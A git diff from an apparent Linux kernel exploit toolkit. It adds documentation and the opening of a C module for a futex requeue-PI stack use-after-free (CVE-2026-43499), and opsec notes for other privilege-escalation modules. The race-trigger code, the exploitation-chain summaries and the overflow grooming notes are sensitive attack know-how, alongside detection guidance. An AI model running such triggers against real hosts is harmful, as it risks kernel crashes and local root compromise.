.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + socket(AF_ALG, SOCK_SEQPACKET) for an AES-GCM keystream table; NETLINK_XFRM setsockopt to install ESP-in-TCP state; TCP_ULP setsockopt on a loopback connection; splice() from a carrier setuid binary (/usr/bin/su or /bin/su) into the TCP socket. Artifacts: /tmp/skeletonkey-fragnesia-probe-XXXXXX (mkstemp, unlinked after probe) and /tmp/skeletonkey-fragnesia.target. Audit-visible via socket(AF_ALG) (38), NETLINK_XFRM (6) writes, TCP_ULP setsockopt, splice() of setuid binary. No external network (loopback). Cleanup callback unlinks /tmp files and evicts the carrier from page cache.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_fragnesia(void)
|
void skeletonkey_register_fragnesia(void)
|
||||||
|
|||||||
@@ -916,6 +916,7 @@ const struct skeletonkey_module fuse_legacy_module = {
|
|||||||
.detect_yara = fuse_legacy_yara,
|
.detect_yara = fuse_legacy_yara,
|
||||||
.detect_falco = fuse_legacy_falco,
|
.detect_falco = fuse_legacy_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; fsopen('cgroup2') + multiple fsconfig(FSCONFIG_SET_STRING, 'source', ...) calls to overflow legacy_parse_param's buffer. OOB write lands in kmalloc-4k adjacent to a msg_msg groom. No persistent files (msg_msg lives in the IPC namespace which disappears with the child). Dmesg silent on success; KASAN would show slab corruption if enabled. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + fsopen + fsconfig pattern in a single process. No cleanup callback - IPC queues auto-drain on namespace exit.",
|
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; fsopen('cgroup2') + multiple fsconfig(FSCONFIG_SET_STRING, 'source', ...) calls to overflow legacy_parse_param's buffer. OOB write lands in kmalloc-4k adjacent to a msg_msg groom. No persistent files (msg_msg lives in the IPC namespace which disappears with the child). Dmesg silent on success; KASAN would show slab corruption if enabled. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + fsopen + fsconfig pattern in a single process. No cleanup callback - IPC queues auto-drain on namespace exit.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
void skeletonkey_register_fuse_legacy(void)
|
void skeletonkey_register_fuse_legacy(void)
|
||||||
|
|||||||
@@ -0,0 +1,123 @@
|
|||||||
|
# ghostlock — CVE-2026-43499
|
||||||
|
|
||||||
|
"GhostLock" — a race-condition use-after-free on **kernel stack** memory in
|
||||||
|
the Linux rtmutex / futex requeue-PI code path (`kernel/locking/rtmutex.c`),
|
||||||
|
reachable by **any unprivileged local user** (CVSS PR:L). No user namespace,
|
||||||
|
no capability, no special `CONFIG` beyond `CONFIG_FUTEX_PI` (universally
|
||||||
|
enabled). It has existed since PI-futex requeue landed — **~15 years, across
|
||||||
|
every distribution** — which is what makes it remarkable.
|
||||||
|
|
||||||
|
## The bug
|
||||||
|
|
||||||
|
On the deadlock-rollback path, `remove_waiter()` operates on `current`
|
||||||
|
instead of the actual waiter task while unwinding a proxy lock in
|
||||||
|
`rt_mutex_start_proxy_lock()` — reached from `futex_requeue()`. If a
|
||||||
|
concurrent PI-chain priority walk (driven from another CPU via
|
||||||
|
`sched_setattr()`) runs at that instant, `pi_blocked_on` is cleared on the
|
||||||
|
**wrong** task and an on-stack `struct rt_mutex_waiter` is left dangling in a
|
||||||
|
task's waiter / pi tree. When the kernel later rotates that rbtree over the
|
||||||
|
(now-reused) stack frame, the forged node fields become a controlled kernel
|
||||||
|
write → use-after-free.
|
||||||
|
|
||||||
|
The public research + PoC ("IonStack part II: GhostLock", VEGA / Nebula
|
||||||
|
Security) builds the requeue-PI cycle so `FUTEX_CMP_REQUEUE_PI` hits
|
||||||
|
`-EDEADLK` (the rollback) while a sibling-core consumer thread hammers
|
||||||
|
`sched_setattr(SCHED_BATCH)` on the waiter's tid to win the race. A separate
|
||||||
|
full Android/Pixel LPE then forges the on-stack `rt_mutex_waiter` on a leaked
|
||||||
|
kernel page (the "KernelSnitch" futex-bucket timing side channel), overwrites
|
||||||
|
a `struct file` `f_op` → configfs/ashmem arbitrary R/W → pipe physical R/W →
|
||||||
|
cred patch → root. ~**97% stable** on kernelCTF; Google awarded **$92,337**.
|
||||||
|
|
||||||
|
## Affected range
|
||||||
|
|
||||||
|
| | |
|
||||||
|
|---|---|
|
||||||
|
| Introduced | PI-futex requeue — **2.6.39** (commit `8161239a8bcc`) |
|
||||||
|
| Fixed upstream | commit `3bfdc63936dd` ("rtmutex: Use waiter::task instead of current in remove_waiter()") — merged **7.1-rc1** |
|
||||||
|
| Stable backports | **7.0.4** · 6.18.27 · **6.12.86** (LTS) · **6.6.140** (LTS) · **6.1.175** (LTS) |
|
||||||
|
| Affected, no upstream fix | **5.15.x / 5.10.x / 5.4.x / 4.19.x** (kernel CNA lists no stable fix) |
|
||||||
|
| Not affected | < 2.6.39 (predates PI-futex requeue) |
|
||||||
|
| NVD class | CWE-416 (Use After Free) via CWE-362 (race); CVSS 7.8, PR:L |
|
||||||
|
| CISA KEV | no (brand new) |
|
||||||
|
|
||||||
|
The `kernel_range` table carries one entry per backported branch;
|
||||||
|
`kernel_range_is_patched()` marks any branch strictly newer than all of them
|
||||||
|
(7.1+) patched-via-mainline and everything below the on-branch threshold
|
||||||
|
vulnerable — including the 5.x LTS lines that have no published fix. Extend
|
||||||
|
the table as more branches backport (the drift checker flags them). Source:
|
||||||
|
the Linux kernel CNA record (`git.kernel.org/stable/c/<hash>`), corroborated
|
||||||
|
by the Debian / Ubuntu / SUSE trackers.
|
||||||
|
|
||||||
|
## Trigger / detection
|
||||||
|
|
||||||
|
`detect()` is a **pure version gate** — no active probe, because there is no
|
||||||
|
cheap, safe way to distinguish vulnerable from patched without winning the
|
||||||
|
race. It returns `OK` below 2.6.39 or on a patched kernel, and `VULNERABLE`
|
||||||
|
in range. `CONFIG_FUTEX_PI` is a (near-universal) precondition detect()
|
||||||
|
**assumes** rather than probes; there is no userns / capability precondition
|
||||||
|
(any local user — CVSS PR:L).
|
||||||
|
|
||||||
|
`exploit()` forks an isolated child and runs two phases:
|
||||||
|
|
||||||
|
- **(A) deterministic + safe** — builds the requeue-PI cycle (a waiter
|
||||||
|
holding a "chain" PI-futex and parked in `FUTEX_WAIT_REQUEUE_PI`; an owner
|
||||||
|
holding the "target" PI-futex and blocked on the chain) and fires
|
||||||
|
`FUTEX_CMP_REQUEUE_PI`, confirming the kernel returns **-EDEADLK**. That
|
||||||
|
proves the `remove_waiter()` rollback path — where the bug lives — is
|
||||||
|
reachable here. Without a concurrent priority walk the rollback is the
|
||||||
|
kernel's normal, correct deadlock rejection: it creates no dangling
|
||||||
|
pointer, so this phase is safe on any kernel. *(Validated on real hardware:
|
||||||
|
the cycle returns `-EDEADLK` deterministically.)*
|
||||||
|
- **(B) hard-bounded window exercise** — repeats (A) a small, wall-clock-
|
||||||
|
capped number of times (24 iterations / 2 s) with a sibling-CPU
|
||||||
|
`sched_setattr(SCHED_BATCH)` storm on the waiter's tid, overlapping the
|
||||||
|
priority walk with the rollback (the actual race). Then it stops.
|
||||||
|
|
||||||
|
It is **deliberately under-driven**. A *won* race corrupts the kernel
|
||||||
|
**stack** and drives a near-arbitrary pointer write — near-certain panic on a
|
||||||
|
vulnerable host. So this module does **not** widen the `copy_from_user`
|
||||||
|
window (no memfd / `PUNCH_HOLE`), does **not** spray or reoccupy the freed
|
||||||
|
stack frame, and does **not** bundle the KernelSnitch leak → forged-waiter →
|
||||||
|
fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
|
||||||
|
per-build offsets). The trigger is **reconstructed from the public PoC and is
|
||||||
|
not VM-verified**. It returns `EXPLOIT_FAIL` and never claims root it did not
|
||||||
|
get.
|
||||||
|
|
||||||
|
Because a kernel race that corrupts the stack is the least predictable class
|
||||||
|
in the corpus, `ghostlock` carries the **lowest `--auto` safety rank** (11 —
|
||||||
|
just below `bad_epoll`), so `--auto` only reaches for it after every safer
|
||||||
|
vulnerable module.
|
||||||
|
|
||||||
|
## Detection — better than most kernel races, but read this
|
||||||
|
|
||||||
|
Unlike `bad_epoll` (whose epoll syscalls are indistinguishable from every
|
||||||
|
event loop), GhostLock has a **genuinely distinctive tell**: a futex
|
||||||
|
requeue-PI op (`FUTEX_WAIT_REQUEUE_PI` / `FUTEX_CMP_REQUEUE_PI`) returning
|
||||||
|
`-EDEADLK`, which glibc's requeue-PI usage inside `pthread_cond_wait` never
|
||||||
|
provokes, interleaved with `sched_setattr(SCHED_BATCH)` on a **sibling
|
||||||
|
thread** and `sched_setaffinity` CPU pinning. The catch: auditd/sigma see the
|
||||||
|
`futex` syscall but not its op-vs-return cheaply, and a bare `-S futex` watch
|
||||||
|
would flood any host. So:
|
||||||
|
|
||||||
|
- **auditd / sigma** anchor on the far rarer `sched_setattr` /
|
||||||
|
`sched_setaffinity` drivers plus the post-exploitation euid-0 transition.
|
||||||
|
- **falco / eBPF** carries the high-fidelity rule (futex requeue-PI returns
|
||||||
|
`EDEADLK` + sibling `sched_setattr`) — it can see the op and the return
|
||||||
|
value.
|
||||||
|
|
||||||
|
There is no yara rule (in-kernel race, no file artifact). Tune the
|
||||||
|
`sched_setattr` anchor per environment — real-time and scheduler-tuning
|
||||||
|
daemons will false-positive.
|
||||||
|
|
||||||
|
## Fix / mitigation
|
||||||
|
|
||||||
|
Upgrade the kernel (>= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, or
|
||||||
|
7.1+). There is **no partial mitigation**: PI futexes cannot be disabled at
|
||||||
|
runtime, and no `unprivileged_userns_clone` / sysctl toggle closes this path.
|
||||||
|
`mitigate()` is `NULL` for that reason.
|
||||||
|
|
||||||
|
## Credit
|
||||||
|
|
||||||
|
Discovery, research, and the public PoC: **VEGA / Nebula Security**
|
||||||
|
(`@nebusecurity`, nebusec.ai). Upstream fix `3bfdc63936dd` (Keenan Dong /
|
||||||
|
Thomas Gleixner). See `NOTICE.md`.
|
||||||
@@ -0,0 +1,76 @@
|
|||||||
|
# NOTICE — ghostlock (CVE-2026-43499)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-43499** — "GhostLock", a **race-condition use-after-free** on
|
||||||
|
kernel **stack** memory in the Linux rtmutex / futex requeue-PI path
|
||||||
|
(`kernel/locking/rtmutex.c`). On the deadlock-rollback path,
|
||||||
|
`remove_waiter()` operates on `current` instead of the actual waiter task
|
||||||
|
while unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
|
||||||
|
`futex_requeue()`); a concurrent PI-chain priority walk driven via
|
||||||
|
`sched_setattr()` on another CPU clears `pi_blocked_on` on the wrong task and
|
||||||
|
leaves an on-stack `struct rt_mutex_waiter` dangling → UAF when the kernel
|
||||||
|
later rotates the rbtree over the reused stack frame.
|
||||||
|
|
||||||
|
The bug is reachable by **any unprivileged local user** (CVSS 7.8, PR:L) —
|
||||||
|
`futex(2)` + `sched_setattr(2)`, no capability, no user namespace, no special
|
||||||
|
config beyond `CONFIG_FUTEX_PI` (universally enabled). It has existed since
|
||||||
|
PI-futex requeue landed in **2.6.39** — ~15 years across every distribution.
|
||||||
|
NVD class: **CWE-416** (Use After Free), with a **CWE-362** race root cause.
|
||||||
|
**Not** in CISA KEV (brand new).
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
- **Discovery, research, and public PoC** by **VEGA / Nebula Security**
|
||||||
|
(`@nebusecurity`, <https://nebusec.ai>), published as "IonStack part II:
|
||||||
|
GhostLock" (<https://nebusec.ai/research/ionstack-part-2/>). Exploit code:
|
||||||
|
<https://github.com/NebuSec/CyberMeowfia> (`IonStack/CVE-2026-43499`,
|
||||||
|
Apache-2.0). Awarded **$92,337** in Google's kernelCTF for a ~97%-stable
|
||||||
|
privilege escalation / container escape. SKELETONKEY's trigger
|
||||||
|
reconstruction is informed by the public PoC's requeue-PI cycle shape only
|
||||||
|
— no KernelSnitch offsets, forged-waiter field layout, or ROP / cred-patch
|
||||||
|
arithmetic is reused.
|
||||||
|
- **Introduced** with PI-futex requeue in **2.6.39** (commit
|
||||||
|
`8161239a8bcc`).
|
||||||
|
- **Fixed upstream** by commit
|
||||||
|
`3bfdc63936dd4773109b7b8c280c0f3b5ae7d349` ("rtmutex: Use waiter::task
|
||||||
|
instead of current in remove_waiter()", Keenan Dong / Thomas Gleixner),
|
||||||
|
merged for **7.1-rc1**; stable backports **7.0.4 / 6.18.27 / 6.12.86 /
|
||||||
|
6.6.140 / 6.1.175**.
|
||||||
|
- Authoritative backport versions: the Linux kernel CNA record
|
||||||
|
(<https://cveawg.mitre.org/api/cve/CVE-2026-43499>,
|
||||||
|
`git.kernel.org/stable/c/<hash>`), corroborated by the Debian
|
||||||
|
(<https://security-tracker.debian.org/tracker/CVE-2026-43499>), Ubuntu, and
|
||||||
|
SUSE trackers. The **5.15 / 5.10 / 5.4 / 4.19** LTS branches are affected
|
||||||
|
with no upstream stable fix published at time of writing.
|
||||||
|
|
||||||
|
All credit for finding, analysing, and exploiting this bug belongs to VEGA /
|
||||||
|
Nebula Security and to the upstream maintainers who fixed it. SKELETONKEY is
|
||||||
|
the bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟡 **Trigger (reconstructed) — reachability-only, not VM-verified.** This is
|
||||||
|
the corpus's first rtmutex / futex-PI module and its cleanest example of a
|
||||||
|
kernel-**stack** UAF (every other UAF in the corpus is heap/slab). Shipped on
|
||||||
|
the same "fire the bug class and stop" contract as `stackrot`
|
||||||
|
(CVE-2023-3269), `nft_catchall` (CVE-2026-23111), and `bad_epoll`
|
||||||
|
(CVE-2026-46242).
|
||||||
|
|
||||||
|
`detect()` is a pure kernel-version gate (vulnerable iff `>= 2.6.39` and below
|
||||||
|
the on-branch fix; backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175,
|
||||||
|
7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no
|
||||||
|
userns or CONFIG probe (`CONFIG_FUTEX_PI` assumed, near-universal).
|
||||||
|
`exploit()` forks an isolated child that confirms the `-EDEADLK`
|
||||||
|
`remove_waiter()` rollback path is reachable (deterministic, safe) and then
|
||||||
|
exercises the actual race a hard-bounded 24 iterations / 2 s with a
|
||||||
|
sibling-CPU `sched_setattr(SCHED_BATCH)` storm, and stops.
|
||||||
|
|
||||||
|
It is **deliberately under-driven**: a won race corrupts the kernel stack and
|
||||||
|
drives a near-arbitrary pointer write (near-certain panic), so the module does
|
||||||
|
not widen the `copy_from_user` window, does not spray/reoccupy the freed
|
||||||
|
frame, and does not bundle the KernelSnitch leak → forged on-stack
|
||||||
|
`rt_mutex_waiter` → fops/configfs/ashmem/pipe R/W → cred-patch root-pop
|
||||||
|
(Android/Pixel-specific, per-build offsets). The trigger is reconstructed from
|
||||||
|
the public PoC, not VM-verified — it never claims root it did not get. It
|
||||||
|
carries the lowest `--auto` safety rank in the corpus.
|
||||||
@@ -0,0 +1,567 @@
|
|||||||
|
/*
|
||||||
|
* ghostlock_cve_2026_43499 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* CVE-2026-43499 — "GhostLock", a race-condition use-after-free on kernel
|
||||||
|
* STACK memory in the Linux rtmutex / futex requeue-PI code path
|
||||||
|
* (kernel/locking/rtmutex.c). On the deadlock-rollback path,
|
||||||
|
* remove_waiter() operates on `current` instead of the actual waiter task
|
||||||
|
* while unwinding a proxy lock in rt_mutex_start_proxy_lock() — reached
|
||||||
|
* from futex_requeue(). If a concurrent PI-chain priority walk (driven
|
||||||
|
* from another CPU via sched_setattr()) runs at that instant,
|
||||||
|
* `pi_blocked_on` is cleared on the WRONG task and an on-stack
|
||||||
|
* `struct rt_mutex_waiter` is left dangling in a task's waiter / pi tree.
|
||||||
|
* When the kernel later rotates that rbtree over the (now-reused) stack
|
||||||
|
* frame, the forged node fields become a controlled kernel write → UAF.
|
||||||
|
* Reachable by ANY unprivileged local user (CVSS PR:L): plain futex(2) +
|
||||||
|
* sched_setattr(2), no user namespace, no capability, no special CONFIG
|
||||||
|
* beyond CONFIG_FUTEX_PI (universally enabled). The bug has existed since
|
||||||
|
* PI-futex requeue landed — ~15 years, across every distribution.
|
||||||
|
*
|
||||||
|
* Public research + PoC — "IonStack part II: GhostLock" by VEGA / Nebula
|
||||||
|
* Security (https://nebusec.ai/research/ionstack-part-2/; code at
|
||||||
|
* https://github.com/NebuSec/CyberMeowfia, Apache-2.0). A portable crash
|
||||||
|
* PoC drives the -EDEADLK rollback while a sibling-core consumer thread
|
||||||
|
* fires sched_setattr(SCHED_BATCH) to win the race; a separate full
|
||||||
|
* Android/Pixel LPE then forges the on-stack rt_mutex_waiter on a leaked
|
||||||
|
* kernel page (the "KernelSnitch" futex-bucket timing side channel),
|
||||||
|
* overwrites a struct file f_op → configfs/ashmem arbitrary R/W → pipe
|
||||||
|
* physical R/W → cred patch → root. ~97% stable on kernelCTF; Google
|
||||||
|
* awarded $92,337.
|
||||||
|
*
|
||||||
|
* CWE-416 (Use After Free) via CWE-362 (race). CVSS 7.8 (PR:L). Introduced
|
||||||
|
* ~2.6.39 (PI-futex requeue); fixed by commit 3bfdc63936dd ("rtmutex: Use
|
||||||
|
* waiter::task instead of current in remove_waiter()") merged for 7.1-rc1;
|
||||||
|
* stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175. The
|
||||||
|
* 5.15 / 5.10 / 5.4 / 4.19 LTS branches are AFFECTED with no upstream
|
||||||
|
* stable fix published at time of writing. NOT in CISA KEV (brand new).
|
||||||
|
*
|
||||||
|
* STATUS: 🟡 TRIGGER (reconstructed) — reachability-only, NOT VM-verified.
|
||||||
|
* exploit() forks an isolated child that, in two phases:
|
||||||
|
* (A) DETERMINISTIC + SAFE — builds the requeue-PI cycle (a waiter
|
||||||
|
* holding a "chain" PI-futex and parked in FUTEX_WAIT_REQUEUE_PI;
|
||||||
|
* an owner holding the "target" PI-futex and blocked on the chain)
|
||||||
|
* and fires FUTEX_CMP_REQUEUE_PI, confirming the kernel returns
|
||||||
|
* -EDEADLK. That -EDEADLK proves the remove_waiter() deadlock-
|
||||||
|
* rollback path (where the bug lives) is REACHABLE on this host.
|
||||||
|
* With no concurrent priority walk, the rollback is the kernel's
|
||||||
|
* normal, correct deadlock rejection — it creates no dangling
|
||||||
|
* pointer, so this phase is safe on any kernel.
|
||||||
|
* (B) HARD-BOUNDED window exercise — repeats (A) a small, wall-clock-
|
||||||
|
* capped number of times with a sibling-core consumer thread
|
||||||
|
* hammering sched_setattr(SCHED_BATCH) on the waiter's tid, so the
|
||||||
|
* PI-chain priority walk overlaps the rollback (the actual race).
|
||||||
|
* Then it STOPS. It deliberately OMITS the memfd/PUNCH_HOLE
|
||||||
|
* copy_from_user widening and the kernel-stack spray that make a
|
||||||
|
* win likely, does NOT reoccupy the freed frame, and does NOT
|
||||||
|
* bundle the KernelSnitch leak → forged-waiter → fops/configfs/
|
||||||
|
* ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
|
||||||
|
* per-build offsets). It returns EXPLOIT_FAIL and never claims
|
||||||
|
* root it did not get.
|
||||||
|
* A *won* race here corrupts the kernel STACK and drives a near-arbitrary
|
||||||
|
* pointer write — near-certain panic on a vulnerable host — which is why
|
||||||
|
* this carries the lowest --auto safety rank in the corpus (see
|
||||||
|
* module_safety_rank() in skeletonkey.c).
|
||||||
|
*
|
||||||
|
* detect() is a pure version gate: vulnerable iff the running kernel is
|
||||||
|
* >= 2.6.39 (when PI-futex requeue arrived) AND below the fix on its
|
||||||
|
* branch. CONFIG_FUTEX_PI is a (near-universal) precondition that
|
||||||
|
* detect() ASSUMES rather than probes — no distro tracker publishes a
|
||||||
|
* CONFIG gate and /proc/config.gz is often absent; there is likewise no
|
||||||
|
* userns / capability precondition (CVSS PR:L, any local user).
|
||||||
|
*
|
||||||
|
* arch_support: any — the bug and this reachability probe are arch-neutral
|
||||||
|
* (futex / sched_setattr / pthreads); only the public *weaponization* is
|
||||||
|
* arm64/Android-specific, and none of it is bundled here.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdatomic.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
|
||||||
|
/* futex operation constants — define defensively; <linux/futex.h> is not
|
||||||
|
* always present and can clash with libc headers. */
|
||||||
|
#ifndef FUTEX_LOCK_PI
|
||||||
|
#define FUTEX_LOCK_PI 6
|
||||||
|
#endif
|
||||||
|
#ifndef FUTEX_UNLOCK_PI
|
||||||
|
#define FUTEX_UNLOCK_PI 7
|
||||||
|
#endif
|
||||||
|
#ifndef FUTEX_WAIT_REQUEUE_PI
|
||||||
|
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||||
|
#endif
|
||||||
|
#ifndef FUTEX_CMP_REQUEUE_PI
|
||||||
|
#define FUTEX_CMP_REQUEUE_PI 12
|
||||||
|
#endif
|
||||||
|
#ifndef FUTEX_CLOCK_REALTIME
|
||||||
|
#define FUTEX_CLOCK_REALTIME 256
|
||||||
|
#endif
|
||||||
|
#ifndef SCHED_BATCH
|
||||||
|
#define SCHED_BATCH 3
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* Kernel-range table. Mainline fix landed in 7.1-rc1 (3bfdc63936dd);
|
||||||
|
* stable backports shipped per LTS branch below. A branch with an exact
|
||||||
|
* entry is patched iff host.patch >= entry.patch; any branch strictly
|
||||||
|
* newer than EVERY entry (i.e. 7.1+) is patched-via-mainline; every other
|
||||||
|
* branch (5.4/5.10/5.15 — affected, no upstream fix — and the EOL lines
|
||||||
|
* 6.2..6.5 / 6.7..6.11 / 6.13..6.17 / 6.19 / 7.0.<4) is still vulnerable.
|
||||||
|
* kernel_range_is_patched() implements exactly that. Extend the table as
|
||||||
|
* more branches publish backports (the drift checker flags them).
|
||||||
|
* Authoritative source: the Linux kernel CNA record (git.kernel.org
|
||||||
|
* /stable/c/<hash>), corroborated by Debian/Ubuntu/SUSE trackers.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
static const struct kernel_patched_from ghostlock_patched_branches[] = {
|
||||||
|
{6, 1, 175}, /* 6.1 LTS — d8cce4773c2b */
|
||||||
|
{6, 6, 140}, /* 6.6 LTS — 8a1fc8d698ac */
|
||||||
|
{6, 12, 86}, /* 6.12 LTS — 6d52dfcb2a5d */
|
||||||
|
{6, 18, 27}, /* 6.18 — 3fb7394a8377 */
|
||||||
|
{7, 0, 4}, /* 7.0 — 88614876370a; 7.1+ inherits the mainline fix */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range ghostlock_range = {
|
||||||
|
.patched_from = ghostlock_patched_branches,
|
||||||
|
.n_patched_from = sizeof(ghostlock_patched_branches) /
|
||||||
|
sizeof(ghostlock_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] ghostlock: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* PI-futex requeue (and thus the vulnerable rt_mutex_start_proxy_lock
|
||||||
|
* / remove_waiter rollback) arrived in 2.6.39; older kernels predate
|
||||||
|
* the code entirely. (In practice nothing modern is below this, but
|
||||||
|
* the gate is here for correctness.) */
|
||||||
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 39)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] ghostlock: kernel %s predates PI-futex requeue "
|
||||||
|
"(introduced 2.6.39) — not affected\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (kernel_range_is_patched(&ghostlock_range, v)) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] ghostlock: kernel %s is patched (>= 7.0.4 / "
|
||||||
|
"6.12.86 / 6.6.140 / 6.1.175 on-branch, or 7.1+ "
|
||||||
|
"mainline)\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] ghostlock: VULNERABLE — kernel %s below the fix on "
|
||||||
|
"its branch; rtmutex/futex requeue-PI remove_waiter() "
|
||||||
|
"stack UAF reachable by any unprivileged user (no userns "
|
||||||
|
"/ capability; assumes CONFIG_FUTEX_PI, near-universal)\n",
|
||||||
|
v->release);
|
||||||
|
fprintf(stderr, "[i] ghostlock: no unprivileged-userns or sysctl stopgap "
|
||||||
|
"applies (PI futexes cannot be disabled at runtime) — the "
|
||||||
|
"only fix is to patch the kernel\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------------
|
||||||
|
* Reconstructed reachability trigger (deliberately under-driven).
|
||||||
|
*
|
||||||
|
* Faithful minimal shape of the public PoC's requeue-PI cycle:
|
||||||
|
* waiter : LOCK_PI(chain); WAIT_REQUEUE_PI(wait -> target) [parks]
|
||||||
|
* owner : LOCK_PI(target); LOCK_PI(chain) [blocks]
|
||||||
|
* main : CMP_REQUEUE_PI(wait -> target) => -EDEADLK
|
||||||
|
* The requeue would make the waiter block on `target` (held by owner),
|
||||||
|
* owner is blocked on `chain` (held by waiter) → cycle → rt_mutex
|
||||||
|
* deadlock detection returns -EDEADLK and runs remove_waiter() rollback.
|
||||||
|
*
|
||||||
|
* Phase A (no consumer) confirms that rollback path is REACHABLE — safe,
|
||||||
|
* because without a concurrent PI priority walk the unwind is the normal
|
||||||
|
* correct deadlock rejection and leaves nothing dangling. Phase B adds a
|
||||||
|
* sibling-core sched_setattr(SCHED_BATCH) storm on the waiter's tid to
|
||||||
|
* overlap the walk with the rollback (the actual race), hard-bounded,
|
||||||
|
* then stops. We do NOT widen the copy_from_user window (no memfd /
|
||||||
|
* PUNCH_HOLE), do NOT spray/reoccupy the freed stack frame, and do NOT
|
||||||
|
* weaponise. The honest witness is coarse: the -EDEADLK reachability
|
||||||
|
* proof, plus a fault signal in the isolated child if a Phase-B race
|
||||||
|
* happened to fire. Absence of a fault does NOT prove the host is safe.
|
||||||
|
* ------------------------------------------------------------------ */
|
||||||
|
#define GHL_PROBE_ROUNDS 8 /* deterministic -EDEADLK confirmations (early-exit on first) */
|
||||||
|
#define GHL_RACE_ITERS 24 /* hard-bounded race-window exercise (concurrent sched_setattr) */
|
||||||
|
#define GHL_RACE_BUDGET_SECS 2 /* honest short cap (public PoC grinds for minutes) */
|
||||||
|
#define GHL_PARK_TIMEOUT_MS 60 /* parked waiter/owner self-unblock so no attempt hangs */
|
||||||
|
|
||||||
|
struct ghl_sched_attr {
|
||||||
|
uint32_t size;
|
||||||
|
uint32_t sched_policy;
|
||||||
|
uint64_t sched_flags;
|
||||||
|
int32_t sched_nice;
|
||||||
|
uint32_t sched_priority;
|
||||||
|
uint64_t sched_runtime;
|
||||||
|
uint64_t sched_deadline;
|
||||||
|
uint64_t sched_period;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct ghl_attempt {
|
||||||
|
volatile uint32_t chain; /* PI futex the waiter holds */
|
||||||
|
volatile uint32_t target; /* PI futex the owner holds; requeue destination */
|
||||||
|
volatile uint32_t wait; /* plain futex the waiter parks on */
|
||||||
|
atomic_int waiter_ready; /* waiter holds chain + published tid */
|
||||||
|
atomic_int owner_ready; /* owner holds target + about to block on chain */
|
||||||
|
atomic_int waiter_tid; /* consumer targets this tid */
|
||||||
|
atomic_int stop; /* tear-down flag for the consumer */
|
||||||
|
};
|
||||||
|
|
||||||
|
static long ghl_futex(volatile uint32_t *uaddr, int op, uint32_t val,
|
||||||
|
void *timeout_or_val2, volatile uint32_t *uaddr2,
|
||||||
|
uint32_t val3)
|
||||||
|
{
|
||||||
|
return syscall(SYS_futex, uaddr, op, val, timeout_or_val2, uaddr2, val3);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ghl_gettid(void)
|
||||||
|
{
|
||||||
|
return (int)syscall(SYS_gettid);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ghl_pin_cpu(int cpu)
|
||||||
|
{
|
||||||
|
cpu_set_t set;
|
||||||
|
CPU_ZERO(&set);
|
||||||
|
CPU_SET(cpu, &set);
|
||||||
|
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
|
||||||
|
}
|
||||||
|
|
||||||
|
static void ghl_abs_realtime_ms(struct timespec *ts, long ms)
|
||||||
|
{
|
||||||
|
